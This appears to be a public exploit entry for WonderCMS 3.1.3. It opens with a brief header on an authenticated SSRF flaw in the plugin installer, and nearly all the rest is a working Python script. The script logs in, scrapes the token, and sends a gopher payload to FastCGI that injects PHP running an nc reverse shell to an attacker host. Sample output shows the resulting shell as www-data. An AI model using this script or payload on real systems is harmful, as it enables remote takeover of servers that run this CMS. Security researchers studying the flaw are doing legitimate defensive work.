# Exploit Title: WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution # Date: 2020-11-27 # Exploit Author: zetc0de # Vendor Homepage: https://www.wondercms.com/ # Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip # Version: 3.1.3 # Tested on: Ubuntu 16.04 # CVE : N/A # WonderCMS is vulnerable to SSRF Vulnerability. # In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS. # The theme/plugin installer not sanitize the destination of github/gitlab url, so attacker can pointing te destinaition to localhost. # when the attacker can pointing the request to localhost, this lead to SSRF vulnerability. # the most high impact lead to RCE with gopher scheme and FastCGI running in port 9000 # # python exploit.py # [+] Getting Token # [+] Sending payload # [+] Get reverse shell # nc -lnvp 1234 # Connection from 192.168.43.103:56956 # /bin/sh: 0: can't access tty; job control turned off # $ whoami # www-data # $ import requests from bs4 import BeautifulSoup from termcolor import colored from time import sleep print(colored(''' \ \ /_ \ \ | _ \ __| _ \ __| \ | __| \ \ \ /( |. | | |_| / ( |\/ |\__ \ \_/\_/\___/_|\_|___/___|_|_\\___|_| _|____/ ------[ SSRF to Remote Code Execution ]------ ''',"blue")) loginURL = "http://wonder.com/loginURL" password = "GpIyq0RH" lhost = "192.168.43.66" lport = "1234" payload = "gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH132%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/usr/share/php/PEAR.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2584%2504%2500%253C%253Fphp%2520system%2528%2527rm%2520/tmp/f%253Bmkfifo%2520/tmp/f%253Bcat%2520/tmp/f%257C/bin/sh%2520-i%25202%253E%25261%257Cnc%2520{}%2520{}%2520%253E/tmp/f%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500".format(lhost,lport) r = requests.session() data = { "password" : password } page = r.post(loginURL,data) if "Wrong" in page.text: print(colored("[!] Exploit Failed : Wrong Credential","red")) exit() print(colored("[+] Getting Token","cyan")) soup = BeautifulSoup(page.text, "html.parser") allscript = soup.find_all("script") no = 0 for i in allscript: if "rootURL" in str(i): url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ") elif "token" in str(i): token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ") def sendPayload(req,url,payload,token): getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token req.get(getShell) print(colored("[+] Sending payload","cyan")) sleep(1) print(colored("[+] Get reverse shell","cyan")) sendPayload(r,url,payload,token) print(colored("[+] Good bye","cyan"))